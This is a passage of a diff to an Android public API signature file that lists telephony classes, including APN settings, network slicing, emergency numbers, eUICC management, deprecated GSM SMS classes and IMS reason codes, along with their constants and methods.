+    field public static final int AUTH_TYPE_NONE = 0; // 0x0
+    field public static final int AUTH_TYPE_PAP = 1; // 0x1
+    field public static final int AUTH_TYPE_PAP_OR_CHAP = 3; // 0x3
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.data.ApnSetting> CREATOR;
+    field public static final int MVNO_TYPE_GID = 2; // 0x2
+    field public static final int MVNO_TYPE_ICCID = 3; // 0x3
+    field public static final int MVNO_TYPE_IMSI = 1; // 0x1
+    field public static final int MVNO_TYPE_SPN = 0; // 0x0
+    field public static final int PROTOCOL_IP = 0; // 0x0
+    field public static final int PROTOCOL_IPV4V6 = 2; // 0x2
+    field public static final int PROTOCOL_IPV6 = 1; // 0x1
+    field public static final int PROTOCOL_NON_IP = 4; // 0x4
+    field public static final int PROTOCOL_PPP = 3; // 0x3
+    field public static final int PROTOCOL_UNSTRUCTURED = 5; // 0x5
+    field public static final int TYPE_BIP = 8192; // 0x2000
+    field public static final int TYPE_CBS = 128; // 0x80
+    field public static final int TYPE_DEFAULT = 17; // 0x11
+    field public static final int TYPE_DUN = 8; // 0x8
+    field public static final int TYPE_EMERGENCY = 512; // 0x200
+    field public static final int TYPE_FOTA = 32; // 0x20
+    field public static final int TYPE_HIPRI = 16; // 0x10
+    field public static final int TYPE_IA = 256; // 0x100
+    field public static final int TYPE_IMS = 64; // 0x40
+    field public static final int TYPE_MCX = 1024; // 0x400
+    field public static final int TYPE_MMS = 2; // 0x2
+    field public static final int TYPE_SUPL = 4; // 0x4
+    field public static final int TYPE_VSIM = 4096; // 0x1000
+    field public static final int TYPE_XCAP = 2048; // 0x800
+  }
+
+  public static class ApnSetting.Builder {
+    ctor public ApnSetting.Builder();
+    method public android.telephony.data.ApnSetting build();
+    method @NonNull public android.telephony.data.ApnSetting.Builder setApnName(@Nullable String);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setApnTypeBitmask(int);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setAuthType(int);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setCarrierEnabled(boolean);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setCarrierId(int);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setEntryName(@Nullable String);
+    method @Deprecated public android.telephony.data.ApnSetting.Builder setMmsProxyAddress(java.net.InetAddress);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setMmsProxyAddress(@Nullable String);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setMmsProxyPort(int);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setMmsc(@Nullable android.net.Uri);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setMvnoType(int);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setNetworkTypeBitmask(int);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setOperatorNumeric(@Nullable String);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setPassword(@Nullable String);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setProtocol(int);
+    method @Deprecated public android.telephony.data.ApnSetting.Builder setProxyAddress(java.net.InetAddress);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setProxyAddress(@Nullable String);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setProxyPort(int);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setRoamingProtocol(int);
+    method @NonNull public android.telephony.data.ApnSetting.Builder setUser(@Nullable String);
+  }
+
+  public final class NetworkSliceInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method @IntRange(from=0xffffffff, to=0xfffffe) public int getMappedHplmnSliceDifferentiator();
+    method public int getMappedHplmnSliceServiceType();
+    method @IntRange(from=0xffffffff, to=0xfffffe) public int getSliceDifferentiator();
+    method public int getSliceServiceType();
+    method public int getStatus();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.data.NetworkSliceInfo> CREATOR;
+    field public static final int SLICE_DIFFERENTIATOR_NO_SLICE = -1; // 0xffffffff
+    field public static final int SLICE_SERVICE_TYPE_EMBB = 1; // 0x1
+    field public static final int SLICE_SERVICE_TYPE_MIOT = 3; // 0x3
+    field public static final int SLICE_SERVICE_TYPE_NONE = 0; // 0x0
+    field public static final int SLICE_SERVICE_TYPE_URLLC = 2; // 0x2
+    field public static final int SLICE_STATUS_ALLOWED = 2; // 0x2
+    field public static final int SLICE_STATUS_CONFIGURED = 1; // 0x1
+    field public static final int SLICE_STATUS_DEFAULT_CONFIGURED = 5; // 0x5
+    field public static final int SLICE_STATUS_REJECTED_NOT_AVAILABLE_IN_PLMN = 3; // 0x3
+    field public static final int SLICE_STATUS_REJECTED_NOT_AVAILABLE_IN_REGISTERED_AREA = 4; // 0x4
+    field public static final int SLICE_STATUS_UNKNOWN = 0; // 0x0
+  }
+
+  public static final class NetworkSliceInfo.Builder {
+    ctor public NetworkSliceInfo.Builder();
+    method @NonNull public android.telephony.data.NetworkSliceInfo build();
+    method @NonNull public android.telephony.data.NetworkSliceInfo.Builder setMappedHplmnSliceDifferentiator(@IntRange(from=0xffffffff, to=0xfffffe) int);
+    method @NonNull public android.telephony.data.NetworkSliceInfo.Builder setMappedHplmnSliceServiceType(int);
+    method @NonNull public android.telephony.data.NetworkSliceInfo.Builder setSliceDifferentiator(@IntRange(from=0xffffffff, to=0xfffffe) int);
+    method @NonNull public android.telephony.data.NetworkSliceInfo.Builder setSliceServiceType(int);
+    method @NonNull public android.telephony.data.NetworkSliceInfo.Builder setStatus(int);
+  }
+
+  public final class NetworkSlicingConfig implements android.os.Parcelable {
+    ctor public NetworkSlicingConfig();
+    method public int describeContents();
+    method @NonNull public java.util.List<android.telephony.data.NetworkSliceInfo> getSliceInfo();
+    method @NonNull public java.util.List<android.telephony.data.UrspRule> getUrspRules();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.data.NetworkSlicingConfig> CREATOR;
+  }
+
+  public final class RouteSelectionDescriptor implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.util.List<java.lang.String> getDataNetworkName();
+    method @IntRange(from=0x0, to=0xff) public int getPrecedence();
+    method public int getSessionType();
+    method @NonNull public java.util.List<android.telephony.data.NetworkSliceInfo> getSliceInfo();
+    method public int getSscMode();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.data.RouteSelectionDescriptor> CREATOR;
+    field public static final int ROUTE_SSC_MODE_1 = 1; // 0x1
+    field public static final int ROUTE_SSC_MODE_2 = 2; // 0x2
+    field public static final int ROUTE_SSC_MODE_3 = 3; // 0x3
+    field public static final int SESSION_TYPE_IPV4 = 0; // 0x0
+    field public static final int SESSION_TYPE_IPV4V6 = 2; // 0x2
+    field public static final int SESSION_TYPE_IPV6 = 1; // 0x1
+  }
+
+  public final class TrafficDescriptor implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String getDataNetworkName();
+    method @Nullable public byte[] getOsAppId();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.data.TrafficDescriptor> CREATOR;
+  }
+
+  public static final class TrafficDescriptor.Builder {
+    ctor public TrafficDescriptor.Builder();
+    method @NonNull public android.telephony.data.TrafficDescriptor build();
+    method @NonNull public android.telephony.data.TrafficDescriptor.Builder setDataNetworkName(@NonNull String);
+    method @NonNull public android.telephony.data.TrafficDescriptor.Builder setOsAppId(@NonNull byte[]);
+  }
+
+  public final class UrspRule implements android.os.Parcelable {
+    method public int describeContents();
+    method @IntRange(from=0x0, to=0xff) public int getPrecedence();
+    method @NonNull public java.util.List<android.telephony.data.RouteSelectionDescriptor> getRouteSelectionDescriptor();
+    method @NonNull public java.util.List<android.telephony.data.TrafficDescriptor> getTrafficDescriptors();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.data.UrspRule> CREATOR;
+  }
+
+}
+
+package android.telephony.emergency {
+
+  public final class EmergencyNumber implements java.lang.Comparable<android.telephony.emergency.EmergencyNumber> android.os.Parcelable {
+    method public int compareTo(@NonNull android.telephony.emergency.EmergencyNumber);
+    method public int describeContents();
+    method @NonNull public String getCountryIso();
+    method public int getEmergencyCallRouting();
+    method @NonNull public java.util.List<java.lang.Integer> getEmergencyNumberSources();
+    method @NonNull public java.util.List<java.lang.Integer> getEmergencyServiceCategories();
+    method @NonNull public java.util.List<java.lang.String> getEmergencyUrns();
+    method @NonNull public String getMnc();
+    method @NonNull public String getNumber();
+    method public boolean isFromSources(int);
+    method public boolean isInEmergencyServiceCategories(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.emergency.EmergencyNumber> CREATOR;
+    field public static final int EMERGENCY_CALL_ROUTING_EMERGENCY = 1; // 0x1
+    field public static final int EMERGENCY_CALL_ROUTING_NORMAL = 2; // 0x2
+    field public static final int EMERGENCY_CALL_ROUTING_UNKNOWN = 0; // 0x0
+    field public static final int EMERGENCY_NUMBER_SOURCE_DATABASE = 16; // 0x10
+    field public static final int EMERGENCY_NUMBER_SOURCE_DEFAULT = 8; // 0x8
+    field public static final int EMERGENCY_NUMBER_SOURCE_MODEM_CONFIG = 4; // 0x4
+    field public static final int EMERGENCY_NUMBER_SOURCE_NETWORK_SIGNALING = 1; // 0x1
+    field public static final int EMERGENCY_NUMBER_SOURCE_SIM = 2; // 0x2
+    field public static final int EMERGENCY_SERVICE_CATEGORY_AIEC = 64; // 0x40
+    field public static final int EMERGENCY_SERVICE_CATEGORY_AMBULANCE = 2; // 0x2
+    field public static final int EMERGENCY_SERVICE_CATEGORY_FIRE_BRIGADE = 4; // 0x4
+    field public static final int EMERGENCY_SERVICE_CATEGORY_MARINE_GUARD = 8; // 0x8
+    field public static final int EMERGENCY_SERVICE_CATEGORY_MIEC = 32; // 0x20
+    field public static final int EMERGENCY_SERVICE_CATEGORY_MOUNTAIN_RESCUE = 16; // 0x10
+    field public static final int EMERGENCY_SERVICE_CATEGORY_POLICE = 1; // 0x1
+    field public static final int EMERGENCY_SERVICE_CATEGORY_UNSPECIFIED = 0; // 0x0
+  }
+
+}
+
+package android.telephony.euicc {
+
+  public final class DownloadableSubscription implements android.os.Parcelable {
+    method public int describeContents();
+    method public static android.telephony.euicc.DownloadableSubscription forActivationCode(String);
+    method @Nullable public String getConfirmationCode();
+    method @Nullable public String getEncodedActivationCode();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.euicc.DownloadableSubscription> CREATOR;
+  }
+
+  public static final class DownloadableSubscription.Builder {
+    ctor public DownloadableSubscription.Builder(@NonNull android.telephony.euicc.DownloadableSubscription);
+    ctor public DownloadableSubscription.Builder(@NonNull String);
+    method @NonNull public android.telephony.euicc.DownloadableSubscription build();
+    method @NonNull public android.telephony.euicc.DownloadableSubscription.Builder setConfirmationCode(@NonNull String);
+    method @NonNull public android.telephony.euicc.DownloadableSubscription.Builder setEncodedActivationCode(@NonNull String);
+  }
+
+  public final class EuiccInfo implements android.os.Parcelable {
+    ctor public EuiccInfo(@Nullable String);
+    method public int describeContents();
+    method @Nullable public String getOsVersion();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.euicc.EuiccInfo> CREATOR;
+  }
+
+  public class EuiccManager {
+    method @NonNull public android.telephony.euicc.EuiccManager createForCardId(int);
+    method @RequiresPermission("android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS") public void deleteSubscription(int, android.app.PendingIntent);
+    method @RequiresPermission("android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS") public void downloadSubscription(android.telephony.euicc.DownloadableSubscription, boolean, android.app.PendingIntent);
+    method @Nullable public String getEid();
+    method @Nullable public android.telephony.euicc.EuiccInfo getEuiccInfo();
+    method public boolean isEnabled();
+    method public void startResolutionActivity(android.app.Activity, int, android.content.Intent, android.app.PendingIntent) throws android.content.IntentSender.SendIntentException;
+    method @RequiresPermission("android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS") public void switchToSubscription(int, android.app.PendingIntent);
+    method @RequiresPermission("android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS") public void updateSubscriptionNickname(int, @Nullable String, @NonNull android.app.PendingIntent);
+    field public static final String ACTION_MANAGE_EMBEDDED_SUBSCRIPTIONS = "android.telephony.euicc.action.MANAGE_EMBEDDED_SUBSCRIPTIONS";
+    field public static final String ACTION_NOTIFY_CARRIER_SETUP_INCOMPLETE = "android.telephony.euicc.action.NOTIFY_CARRIER_SETUP_INCOMPLETE";
+    field public static final String ACTION_START_EUICC_ACTIVATION = "android.telephony.euicc.action.START_EUICC_ACTIVATION";
+    field public static final int EMBEDDED_SUBSCRIPTION_RESULT_ERROR = 2; // 0x2
+    field public static final int EMBEDDED_SUBSCRIPTION_RESULT_OK = 0; // 0x0
+    field public static final int EMBEDDED_SUBSCRIPTION_RESULT_RESOLVABLE_ERROR = 1; // 0x1
+    field public static final int ERROR_ADDRESS_MISSING = 10011; // 0x271b
+    field public static final int ERROR_CARRIER_LOCKED = 10000; // 0x2710
+    field public static final int ERROR_CERTIFICATE_ERROR = 10012; // 0x271c
+    field public static final int ERROR_CONNECTION_ERROR = 10014; // 0x271e
+    field public static final int ERROR_DISALLOWED_BY_PPR = 10010; // 0x271a
+    field public static final int ERROR_EUICC_INSUFFICIENT_MEMORY = 10004; // 0x2714
+    field public static final int ERROR_EUICC_MISSING = 10006; // 0x2716
+    field public static final int ERROR_INCOMPATIBLE_CARRIER = 10003; // 0x2713
+    field public static final int ERROR_INSTALL_PROFILE = 10009; // 0x2719
+    field public static final int ERROR_INVALID_ACTIVATION_CODE = 10001; // 0x2711
+    field public static final int ERROR_INVALID_CONFIRMATION_CODE = 10002; // 0x2712
+    field public static final int ERROR_INVALID_RESPONSE = 10015; // 0x271f
+    field public static final int ERROR_NO_PROFILES_AVAILABLE = 10013; // 0x271d
+    field public static final int ERROR_OPERATION_BUSY = 10016; // 0x2720
+    field public static final int ERROR_SIM_MISSING = 10008; // 0x2718
+    field public static final int ERROR_TIME_OUT = 10005; // 0x2715
+    field public static final int ERROR_UNSUPPORTED_VERSION = 10007; // 0x2717
+    field public static final String EXTRA_EMBEDDED_SUBSCRIPTION_DETAILED_CODE = "android.telephony.euicc.extra.EMBEDDED_SUBSCRIPTION_DETAILED_CODE";
+    field public static final String EXTRA_EMBEDDED_SUBSCRIPTION_DOWNLOADABLE_SUBSCRIPTION = "android.telephony.euicc.extra.EMBEDDED_SUBSCRIPTION_DOWNLOADABLE_SUBSCRIPTION";
+    field public static final String EXTRA_EMBEDDED_SUBSCRIPTION_ERROR_CODE = "android.telephony.euicc.extra.EMBEDDED_SUBSCRIPTION_ERROR_CODE";
+    field public static final String EXTRA_EMBEDDED_SUBSCRIPTION_OPERATION_CODE = "android.telephony.euicc.extra.EMBEDDED_SUBSCRIPTION_OPERATION_CODE";
+    field public static final String EXTRA_EMBEDDED_SUBSCRIPTION_SMDX_REASON_CODE = "android.telephony.euicc.extra.EMBEDDED_SUBSCRIPTION_SMDX_REASON_CODE";
+    field public static final String EXTRA_EMBEDDED_SUBSCRIPTION_SMDX_SUBJECT_CODE = "android.telephony.euicc.extra.EMBEDDED_SUBSCRIPTION_SMDX_SUBJECT_CODE";
+    field public static final String EXTRA_USE_QR_SCANNER = "android.telephony.euicc.extra.USE_QR_SCANNER";
+    field public static final String META_DATA_CARRIER_ICON = "android.telephony.euicc.carriericon";
+    field public static final int OPERATION_APDU = 8; // 0x8
+    field public static final int OPERATION_DOWNLOAD = 5; // 0x5
+    field public static final int OPERATION_EUICC_CARD = 3; // 0x3
+    field public static final int OPERATION_EUICC_GSMA = 7; // 0x7
+    field public static final int OPERATION_HTTP = 11; // 0xb
+    field public static final int OPERATION_METADATA = 6; // 0x6
+    field public static final int OPERATION_SIM_SLOT = 2; // 0x2
+    field public static final int OPERATION_SMDX = 9; // 0x9
+    field public static final int OPERATION_SMDX_SUBJECT_REASON_CODE = 10; // 0xa
+    field public static final int OPERATION_SWITCH = 4; // 0x4
+    field public static final int OPERATION_SYSTEM = 1; // 0x1
+  }
+
+}
+
+package android.telephony.gsm {
+
+  @Deprecated public class GsmCellLocation extends android.telephony.CellLocation {
+    ctor @Deprecated public GsmCellLocation();
+    ctor @Deprecated public GsmCellLocation(android.os.Bundle);
+    method @Deprecated public void fillInNotifierBundle(android.os.Bundle);
+    method @Deprecated public int getCid();
+    method @Deprecated public int getLac();
+    method @Deprecated public int getPsc();
+    method @Deprecated public void setLacAndCid(int, int);
+    method @Deprecated public void setStateInvalid();
+  }
+
+  @Deprecated public final class SmsManager {
+    method @Deprecated public java.util.ArrayList<java.lang.String> divideMessage(String);
+    method @Deprecated public static android.telephony.gsm.SmsManager getDefault();
+    method @Deprecated public void sendDataMessage(String, String, short, byte[], android.app.PendingIntent, android.app.PendingIntent);
+    method @Deprecated public void sendMultipartTextMessage(String, String, java.util.ArrayList<java.lang.String>, java.util.ArrayList<android.app.PendingIntent>, java.util.ArrayList<android.app.PendingIntent>);
+    method @Deprecated public void sendTextMessage(String, String, String, android.app.PendingIntent, android.app.PendingIntent);
+    field @Deprecated public static final int RESULT_ERROR_GENERIC_FAILURE = 1; // 0x1
+    field @Deprecated public static final int RESULT_ERROR_NO_SERVICE = 4; // 0x4
+    field @Deprecated public static final int RESULT_ERROR_NULL_PDU = 3; // 0x3
+    field @Deprecated public static final int RESULT_ERROR_RADIO_OFF = 2; // 0x2
+    field @Deprecated public static final int STATUS_ON_SIM_FREE = 0; // 0x0
+    field @Deprecated public static final int STATUS_ON_SIM_READ = 1; // 0x1
+    field @Deprecated public static final int STATUS_ON_SIM_SENT = 5; // 0x5
+    field @Deprecated public static final int STATUS_ON_SIM_UNREAD = 3; // 0x3
+    field @Deprecated public static final int STATUS_ON_SIM_UNSENT = 7; // 0x7
+  }
+
+  @Deprecated public class SmsMessage {
+    ctor @Deprecated public SmsMessage();
+    method @Deprecated public static int[] calculateLength(CharSequence, boolean);
+    method @Deprecated public static int[] calculateLength(String, boolean);
+    method @Deprecated public static android.telephony.gsm.SmsMessage createFromPdu(byte[]);
+    method @Deprecated public String getDisplayMessageBody();
+    method @Deprecated public String getDisplayOriginatingAddress();
+    method @Deprecated public String getEmailBody();
+    method @Deprecated public String getEmailFrom();
+    method @Deprecated public int getIndexOnSim();
+    method @Deprecated public String getMessageBody();
+    method @Deprecated public android.telephony.gsm.SmsMessage.MessageClass getMessageClass();
+    method @Deprecated public String getOriginatingAddress();
+    method @Deprecated public byte[] getPdu();
+    method @Deprecated public int getProtocolIdentifier();
+    method @Deprecated public String getPseudoSubject();
+    method @Deprecated public String getServiceCenterAddress();
+    method @Deprecated public int getStatus();
+    method @Deprecated public int getStatusOnSim();
+    method @Deprecated public static android.telephony.gsm.SmsMessage.SubmitPdu getSubmitPdu(String, String, String, boolean);
+    method @Deprecated public static android.telephony.gsm.SmsMessage.SubmitPdu getSubmitPdu(String, String, short, byte[], boolean);
+    method @Deprecated public static int getTPLayerLengthForPDU(String);
+    method @Deprecated public long getTimestampMillis();
+    method @Deprecated public byte[] getUserData();
+    method @Deprecated public boolean isCphsMwiMessage();
+    method @Deprecated public boolean isEmail();
+    method @Deprecated public boolean isMWIClearMessage();
+    method @Deprecated public boolean isMWISetMessage();
+    method @Deprecated public boolean isMwiDontStore();
+    method @Deprecated public boolean isReplace();
+    method @Deprecated public boolean isReplyPathPresent();
+    method @Deprecated public boolean isStatusReportMessage();
+    field @Deprecated public static final int ENCODING_16BIT = 3; // 0x3
+    field @Deprecated public static final int ENCODING_7BIT = 1; // 0x1
+    field @Deprecated public static final int ENCODING_8BIT = 2; // 0x2
+    field @Deprecated public static final int ENCODING_UNKNOWN = 0; // 0x0
+    field @Deprecated public static final int MAX_USER_DATA_BYTES = 140; // 0x8c
+    field @Deprecated public static final int MAX_USER_DATA_SEPTETS = 160; // 0xa0
+    field @Deprecated public static final int MAX_USER_DATA_SEPTETS_WITH_HEADER = 153; // 0x99
+  }
+
+  @Deprecated public enum SmsMessage.MessageClass {
+    enum_constant @Deprecated public static final android.telephony.gsm.SmsMessage.MessageClass CLASS_0;
+    enum_constant @Deprecated public static final android.telephony.gsm.SmsMessage.MessageClass CLASS_1;
+    enum_constant @Deprecated public static final android.telephony.gsm.SmsMessage.MessageClass CLASS_2;
+    enum_constant @Deprecated public static final android.telephony.gsm.SmsMessage.MessageClass CLASS_3;
+    enum_constant @Deprecated public static final android.telephony.gsm.SmsMessage.MessageClass UNKNOWN;
+  }
+
+  @Deprecated public static class SmsMessage.SubmitPdu {
+    ctor @Deprecated public SmsMessage.SubmitPdu();
+    field @Deprecated public byte[] encodedMessage;
+    field @Deprecated public byte[] encodedScAddress;
+  }
+
+}
+
+package android.telephony.ims {
+
+  public final class ImsException extends java.lang.Exception {
+    method public int getCode();
+    field public static final int CODE_ERROR_INVALID_SUBSCRIPTION = 3; // 0x3
+    field public static final int CODE_ERROR_SERVICE_UNAVAILABLE = 1; // 0x1
+    field public static final int CODE_ERROR_UNSPECIFIED = 0; // 0x0
+    field public static final int CODE_ERROR_UNSUPPORTED_OPERATION = 2; // 0x2
+  }
+
+  public class ImsManager {
+    method @NonNull public android.telephony.ims.ImsMmTelManager getImsMmTelManager(int);
+    method @NonNull public android.telephony.ims.ImsRcsManager getImsRcsManager(int);
+    field public static final String ACTION_WFC_IMS_REGISTRATION_ERROR = "android.telephony.ims.action.WFC_IMS_REGISTRATION_ERROR";
+    field public static final String EXTRA_WFC_REGISTRATION_FAILURE_MESSAGE = "android.telephony.ims.extra.WFC_REGISTRATION_FAILURE_MESSAGE";
+    field public static final String EXTRA_WFC_REGISTRATION_FAILURE_TITLE = "android.telephony.ims.extra.WFC_REGISTRATION_FAILURE_TITLE";
+  }
+
+  public class ImsMmTelManager implements android.telephony.ims.RegistrationManager {
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public void getRegistrationState(@NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<java.lang.Integer>);
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public void getRegistrationTransportType(@NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<java.lang.Integer>);
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public int getVoWiFiModeSetting();
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public boolean isAdvancedCallingSettingEnabled();
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public boolean isCrossSimCallingEnabled() throws android.telephony.ims.ImsException;
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public boolean isTtyOverVolteEnabled();
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public boolean isVoWiFiRoamingSettingEnabled();
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public boolean isVoWiFiSettingEnabled();
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public boolean isVtSettingEnabled();
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public void registerImsRegistrationCallback(@NonNull java.util.concurrent.Executor, @NonNull android.telephony.ims.RegistrationManager.RegistrationCallback) throws android.telephony.ims.ImsException;
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public void registerMmTelCapabilityCallback(@NonNull java.util.concurrent.Executor, @NonNull android.telephony.ims.ImsMmTelManager.CapabilityCallback) throws android.telephony.ims.ImsException;
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public void unregisterImsRegistrationCallback(@NonNull android.telephony.ims.RegistrationManager.RegistrationCallback);
+    method @RequiresPermission(anyOf={"android.permission.READ_PRIVILEGED_PHONE_STATE", android.Manifest.permission.READ_PRECISE_PHONE_STATE}) public void unregisterMmTelCapabilityCallback(@NonNull android.telephony.ims.ImsMmTelManager.CapabilityCallback);
+    field public static final int WIFI_MODE_CELLULAR_PREFERRED = 1; // 0x1
+    field public static final int WIFI_MODE_WIFI_ONLY = 0; // 0x0
+    field public static final int WIFI_MODE_WIFI_PREFERRED = 2; // 0x2
+  }
+
+  public static class ImsMmTelManager.CapabilityCallback {
+    ctor public ImsMmTelManager.CapabilityCallback();
+    method public void onCapabilitiesStatusChanged(@NonNull android.telephony.ims.feature.MmTelFeature.MmTelCapabilities);
+  }
+
+  public class ImsRcsManager {
+    method @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public void getRegistrationState(@NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<java.lang.Integer>);
+    method @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public void getRegistrationTransportType(@NonNull java.util.concurrent.Executor, @NonNull java.util.function.Consumer<java.lang.Integer>);
+    method @NonNull public android.telephony.ims.RcsUceAdapter getUceAdapter();
+    method @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public void registerImsRegistrationCallback(@NonNull java.util.concurrent.Executor, @NonNull android.telephony.ims.RegistrationManager.RegistrationCallback) throws android.telephony.ims.ImsException;
+    method @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public void unregisterImsRegistrationCallback(@NonNull android.telephony.ims.RegistrationManager.RegistrationCallback);
+    field public static final String ACTION_SHOW_CAPABILITY_DISCOVERY_OPT_IN = "android.telephony.ims.action.SHOW_CAPABILITY_DISCOVERY_OPT_IN";
+  }
+
+  public final class ImsReasonInfo implements android.os.Parcelable {
+    ctor public ImsReasonInfo(int, int, @Nullable String);
+    method public int describeContents();
+    method public int getCode();
+    method public int getExtraCode();
+    method @Nullable public String getExtraMessage();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int CODE_ACCESS_CLASS_BLOCKED = 1512; // 0x5e8
+    field public static final int CODE_ANSWERED_ELSEWHERE = 1014; // 0x3f6
+    field public static final int CODE_BLACKLISTED_CALL_ID = 506; // 0x1fa
+    field public static final int CODE_CALL_BARRED = 240; // 0xf0
+    field public static final int CODE_CALL_DROP_IWLAN_TO_LTE_UNAVAILABLE = 1100; // 0x44c
+    field public static final int CODE_CALL_END_CAUSE_CALL_PULL = 1016; // 0x3f8
+    field public static final int CODE_CALL_PULL_OUT_OF_SYNC = 1015; // 0x3f7
+    field public static final int CODE_DATA_DISABLED = 1406; // 0x57e
+    field public static final int CODE_DATA_LIMIT_REACHED = 1405; // 0x57d
+    field public static final int CODE_DIAL_MODIFIED_TO_DIAL = 246; // 0xf6
+    field public static final int CODE_DIAL_MODIFIED_TO_DIAL_VIDEO = 247; // 0xf7
+    field public static final int CODE_DIAL_MODIFIED_TO_SS = 245; // 0xf5
+    field public static final int CODE_DIAL_MODIFIED_TO_USSD = 244; // 0xf4
+    field public static final int CODE_DIAL_VIDEO_MODIFIED_TO_DIAL = 248; // 0xf8
+    field public static final int CODE_DIAL_VIDEO_MODIFIED_TO_DIAL_VIDEO = 249; // 0xf9
+    field public static final int CODE_DIAL_VIDEO_MODIFIED_TO_SS = 250; // 0xfa
+    field public static final int CODE_DIAL_VIDEO_MODIFIED_TO_USSD = 251; // 0xfb
+    field public static final int CODE_ECBM_NOT_SUPPORTED = 901; // 0x385
+    field public static final int CODE_EMERGENCY_PERM_FAILURE = 364; // 0x16c
+    field public static final int CODE_EMERGENCY_TEMP_FAILURE = 363; // 0x16b
+    field public static final int CODE_EPDG_TUNNEL_ESTABLISH_FAILURE = 1400; // 0x578
+    field public static final int CODE_EPDG_TUNNEL_LOST_CONNECTION = 1402; // 0x57a
+    field public static final int CODE_EPDG_TUNNEL_REKEY_FAILURE = 1401; // 0x579
+    field public static final int CODE_FDN_BLOCKED = 241; // 0xf1
+    field public static final int CODE_IKEV2_AUTH_FAILURE = 1408; // 0x580
+    field public static final int CODE_IMEI_NOT_ACCEPTED = 243; // 0xf3
+    field public static final int CODE_IWLAN_DPD_FAILURE = 1300; // 0x514
+    field public static final int CODE_LOCAL_CALL_BUSY = 142; // 0x8e
+    field public static final int CODE_LOCAL_CALL_CS_RETRY_REQUIRED = 146; // 0x92
+    field public static final int CODE_LOCAL_CALL_DECLINE = 143; // 0x8f
+    field public static final int CODE_LOCAL_CALL_EXCEEDED = 141; // 0x8d
+    field public static final int CODE_LOCAL_CALL_RESOURCE_RESERVATION_FAILED = 145; // 0x91
+    field public static final int CODE_LOCAL_CALL_TERMINATED = 148; // 0x94
+    field public static final int CODE_LOCAL_CALL_VCC_ON_PROGRESSING = 144; // 0x90
+    field public static final int CODE_LOCAL_CALL_VOLTE_RETRY_REQUIRED = 147; // 0x93
+    field public static final int CODE_LOCAL_ENDED_BY_CONFERENCE_MERGE = 108; // 0x6c
+    field public static final int CODE_LOCAL_HO_NOT_FEASIBLE = 149; // 0x95
